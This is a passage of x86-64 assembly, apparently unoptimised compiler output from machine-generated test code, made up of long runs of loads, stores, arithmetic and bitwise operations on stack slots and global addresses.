mov rax, qword [rsp + 0x96b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x97e0]
shl rax, cl
mov qword [rsp + 0x90d8], rax
lea rax, [rsp + 0x8fb8]
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0x9330]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4eb4]
sar eax, cl
mov dword [rsp + 0x4e88], eax
mov eax, dword [rsp + 0x4e5c]
mov ecx, dword [0x1401e7004]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec8], eax
mov rax, qword [rsp + 0x9618]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7068], ax
lea rax, [rsp + 0x107c]
mov qword [rsp + 0x9828], rax
mov rax, qword [0x1401e8850]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
add eax, ecx
mov rcx, qword [rsp + 0x90a8]
mov byte [rcx], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0x9830], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0xa3]
sub eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f88], rax
lea rax, [rsp + 0x4e98]
mov qword [rsp + 0x9838], rax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x8fc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9368], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0x9840], rax
mov rax, qword [rsp + 0x9310]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [0x1401e7027], al
movsx eax, word [rsp + 0x10bc]
mov rcx, qword [rsp + 0x9260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1108], ax
lea rax, [rsp + 0x1128]
mov qword [rsp + 0x9848], rax
movzx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7032]
sub eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x9818]
mov eax, dword [rax]
mov dword [rsp + 0x4f58], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8eb8]
mov rax, qword [rax]
mov qword [rsp + 0x9850], rax
mov eax, dword [rsp + 0x4ee0]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x9858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9858]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x97a8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x7a]
movsx ecx, byte [rsp + 0xaf]
xor eax, ecx
mov rcx, qword [rsp + 0x9500]
mov byte [rcx], al
movsx eax, word [rsp + 0x1050]
mov rcx, qword [0x1401e87c8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e7090], ax
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x9828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10b0], ax
movzx eax, word [rsp + 0x10a0]
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0x93c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f40], eax
mov rax, qword [rsp + 0x93d8]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f34], eax
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov qword [rsp + 0x9860], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9798], rax
lea rax, [rsp + 0xbd]
mov qword [rsp + 0x9868], rax
lea rax, [rsp + 0x112c]
mov qword [0x1401e8918], rax
movsx eax, word [rsp + 0x1044]
movsx ecx, word [rsp + 0x109c]
add eax, ecx
mov word [rsp + 0x1100], ax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x90], al
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9210]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
lea rax, [rsp + 0x4eb4]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x90f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4f5c], eax
movzx eax, word [rsp + 0x1004]
movzx ecx, word [rsp + 0x102c]
and eax, ecx
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1088]
sub eax, ecx
mov rcx, qword [0x1401e88b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
xor eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x9720]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7026]
or eax, ecx
mov rcx, qword [rsp + 0x92c0]
mov byte [rcx], al
lea rax, [rsp + 0x96f0]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x9818]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8b78]
mov qword [rsp + 0x9888], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9888]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9610]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9358]
shl rax, cl
mov qword [rsp + 0x9200], rax
lea rax, [rsp + 0x4f54]
mov qword [rsp + 0x9890], rax
movzx eax, word [rsp + 0x107c]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1020], ax
movsx eax, byte [0x1401e87a4]
mov rcx, qword [rsp + 0x93f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e8796], al
lea rax, [rsp + 0x1030]
mov qword [rsp + 0x9898], rax
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0xa5]
movzx ecx, byte [rsp + 0x88]
add eax, ecx
mov byte [rsp + 0xab], al
movzx eax, word [rsp + 0x10d0]
mov word [rsp + 0x1144], ax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x8d30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91a8]
mov qword [rcx], rax
lea rax, [rsp + 0x90d0]
mov qword [rsp + 0x98a0], rax
mov rax, qword [rsp + 0x9838]
mov rcx, qword [rsp + 0x9738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f50], eax
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov dword [rsp + 0x4f60], eax
lea rax, [rsp + 0x76]
mov qword [0x1401e8920], rax
movzx eax, word [rsp + 0x1084]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9310]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
lea rax, [rsp + 0x10b4]
mov qword [rsp + 0x98a8], rax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x90d0]
mov qword [rsp + 0x98b0], rax
mov eax, dword [rsp + 0x4f50]
imul eax, dword [0x1401e7008]
mov dword [rsp + 0x4f4c], eax
mov eax, dword [rsp + 0x4e7c]
mov ecx, dword [rsp + 0x4db4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0x90b0]
mov rax, qword [rax]
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x91b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110c]
shl eax, cl
mov word [0x1401e7090], ax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb6]
sar eax, cl
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x8ac0]
movzx eax, byte [rax]
mov byte [rsp + 0xcc], al
movsx eax, word [rsp + 0x10b8]
movsx ecx, word [rsp + 0x1014]
xor eax, ecx
mov rcx, qword [rsp + 0x95a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x96f8]
mov word [rcx], ax
lea rax, [rsp + 0x4ddc]
mov qword [rsp + 0x98c0], rax
mov rax, qword [rsp + 0x93d8]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x4cbc]
mov rcx, qword [rsp + 0x96c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x9488]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95a8], rax
lea rax, [0x1401e700d]
mov qword [0x1401e8928], rax
movzx eax, word [rsp + 0x1114]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1138], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x9270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
lea rax, [rsp + 0x109c]
mov qword [rsp + 0x98d0], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e90], rax
mov rax, qword [rsp + 0x9678]
mov eax, dword [rax]
mov dword [rsp + 0x4f64], eax
mov rax, qword [rsp + 0x8d80]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e1c]
mov ecx, dword [rsp + 0x4eb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9618]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7034], ax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x98d8], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov byte [rsp + 0x96], al
lea rax, [0x1401e7020]
mov qword [rsp + 0x98e0], rax
movsx eax, word [rsp + 0x10bc]
mov rcx, qword [rsp + 0x9718]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9498]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ef8], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0x98e8], rax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0x9540]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e40], rax
lea rax, [rsp + 0x9680]
mov qword [rsp + 0x98f0], rax
mov rax, qword [rsp + 0x8e38]
movzx eax, byte [rax]
mov byte [0x1401e87a5], al
movzx eax, word [rsp + 0x1058]
movzx ecx, word [rsp + 0x1038]
shl eax, cl
mov word [rsp + 0x1054], ax
movsx eax, word [rsp + 0x1028]
movsx ecx, word [rsp + 0x1070]
xor eax, ecx
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x9688]
movzx eax, word [rax]
mov word [rsp + 0x1148], ax
movsx eax, byte [0x1401e7036]
movsx ecx, byte [rsp + 0x97]
sar eax, cl
mov rcx, qword [rsp + 0x96e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f40]
mov dword [rsp + 0x4f68], eax
mov rax, qword [rsp + 0x97c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee8], eax
lea rax, [rsp + 0x9400]
mov qword [rsp + 0x98f8], rax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x96d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8838]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7024], al
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0x9718]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov word [rcx], ax
lea rax, [rsp + 0xb7]
mov qword [rsp + 0x9900], rax
mov rax, qword [rsp + 0x9688]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1114], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x9908], rax
mov rax, qword [rsp + 0x9540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9048], rax
mov eax, dword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x4f24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x93e0]
mov qword [rsp + 0x9910], rax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0x9608]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9688]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7094], ax
lea rax, [rsp + 0x9d]
mov qword [rsp + 0x9918], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x95b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
or eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [rsp + 0x114c], ax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d30]
shr rax, cl
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0x9920], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x9008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9678]
mov qword [rsp + 0x9928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9928]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9000]
mov dword [rcx], eax
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x9930], rax
mov rax, qword [rsp + 0x9310]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9500]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e8794], al
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1060]
sub eax, ecx
mov word [rsp + 0x1020], ax
lea rax, [0x1401e87f0]
mov qword [rsp + 0x9938], rax
mov rax, qword [rsp + 0x93b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x84], al
lea rax, [rsp + 0x4cc4]
mov qword [rsp + 0x9940], rax
mov eax, dword [rsp + 0x4f5c]
mov ecx, dword [rsp + 0x4eb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov qword [rsp + 0x9948], rax
movsx eax, word [rsp + 0x10e8]
mov rcx, qword [rsp + 0x92b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
lea rax, [rsp + 0xb6]
mov qword [0x1401e8930], rax
lea rax, [rsp + 0x1004]
mov qword [rsp + 0x9950], rax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [0x1401e8928]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbc], al
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x1130]
add eax, ecx
mov word [rsp + 0x10d0], ax
lea rax, [rsp + 0x92e8]
mov qword [rsp + 0x9958], rax
mov eax, dword [rsp + 0x4f18]
mov ecx, dword [rsp + 0x4f38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
lea rax, [rsp + 0x8ab0]
mov qword [rsp + 0x9960], rax
mov rax, qword [rsp + 0x9580]
mov ecx, dword [rsp + 0x4ed4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9838]
mov dword [rcx], eax
mov rax, qword [0x1401e87b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
shl eax, cl
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x9190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92c0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e7037], al
lea rax, [rsp + 0x10d4]
mov qword [rsp + 0x9968], rax
mov rax, qword [0x1401e87c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85]
xor eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x8ee0]
movzx eax, word [rax]
mov word [rsp + 0x1150], ax
mov eax, dword [rsp + 0x4f58]
movzx ecx, al
mov eax, dword [rsp + 0x4ec0]
sar eax, cl
mov rcx, qword [rsp + 0x9920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94c8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0x9970], rax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
movzx eax, word [0x1401e7060]
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x9950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e88c0], ax
movzx eax, byte [rsp + 0x87]
movzx ecx, byte [0x1401e7022]
sub eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x9148]
movzx eax, byte [rax]
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1114]
sub eax, ecx
mov word [rsp + 0x10dc], ax
movzx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
lea rax, [rsp + 0x9768]
mov qword [rsp + 0x9978], rax
mov eax, dword [rsp + 0x4e2c]
mov ecx, dword [rsp + 0x4e60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0x9200]
mov qword [rsp + 0x9980], rax
mov eax, dword [rsp + 0x4e68]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa3]
add eax, ecx
mov byte [0x1401e87a5], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9220]
mov word [rcx], ax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov word [rsp + 0x1158], ax
movzx eax, word [rsp + 0x106c]
movzx ecx, word [rsp + 0x1098]
or eax, ecx
mov word [rsp + 0x1020], ax
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x93d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f20]
sar eax, cl
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0x90d8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x91c0]
mov qword [rcx], rax
lea rax, [rsp + 0x4f40]
mov qword [rsp + 0x9988], rax
mov rax, qword [rsp + 0x9058]
mov rcx, qword [rsp + 0x9250]
mov qword [rsp + 0x9990], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9990]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x96]
mov byte [0x1401e87a6], al
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x102c]
and eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x8ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x9678]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4db4], eax
lea rax, [rsp + 0x4e78]
mov qword [rsp + 0x99a0], rax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [0x1401e7010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x94c8]
mov rax, qword [rax]
mov qword [rsp + 0x99a8], rax
lea rax, [rsp + 0xab]
mov qword [0x1401e8938], rax
movsx eax, word [rsp + 0x1108]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95a0]
mov word [rcx], ax
movzx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x113c], ax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0xd1], al
movsx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1034], ax
mov eax, dword [rsp + 0x4e34]
mov dword [rsp + 0x4f6c], eax
mov rax, qword [rsp + 0x8f70]
mov rcx, qword [rsp + 0x8fe8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e68]
mov ecx, dword [rsp + 0x4e38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9798]
mov qword [rsp + 0x99b0], rax
movsx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e88a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9558]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9448]
mov byte [rcx], al
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x99b8], rax
movsx eax, word [rsp + 0x10cc]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x90c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [0x1401e8900]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9f], al
mov eax, dword [rsp + 0x4cd0]
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0x9598]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9440]
mov qword [rsp + 0x99c0], rax
mov rax, qword [rsp + 0x8fb8]
mov rcx, qword [rsp + 0x9468]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95a8], rax
movzx eax, word [rsp + 0x1058]
movzx ecx, word [rsp + 0x1048]
add eax, ecx
mov word [0x1401e7058], ax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83], al
movsx eax, word [rsp + 0x1044]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d0], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x99c8], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
lea rax, [rsp + 0x8e58]
mov qword [rsp + 0x99d0], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x9808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e78], eax
movzx eax, word [rsp + 0x1038]
movzx ecx, word [rsp + 0x1000]
add eax, ecx
mov word [0x1401e7098], ax
lea rax, [0x1401e708c]
mov qword [rsp + 0x99d8], rax
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x9548]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x97b0]
movsx eax, word [rax]
movsx ecx, word [0x1401e7070]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x8d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9128]
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x9668]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov qword [rsp + 0x99f0], rax
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x98e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e709c], ax
mov rax, qword [0x1401e87b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9310]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
lea rax, [rsp + 0xc6]
mov qword [rsp + 0x99f8], rax
movsx eax, word [rsp + 0x10a8]
movsx ecx, word [rsp + 0x1050]
sub eax, ecx
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1098]
and eax, ecx
mov word [rsp + 0x113c], ax
lea rax, [rsp + 0x9758]
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x93c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e70], eax
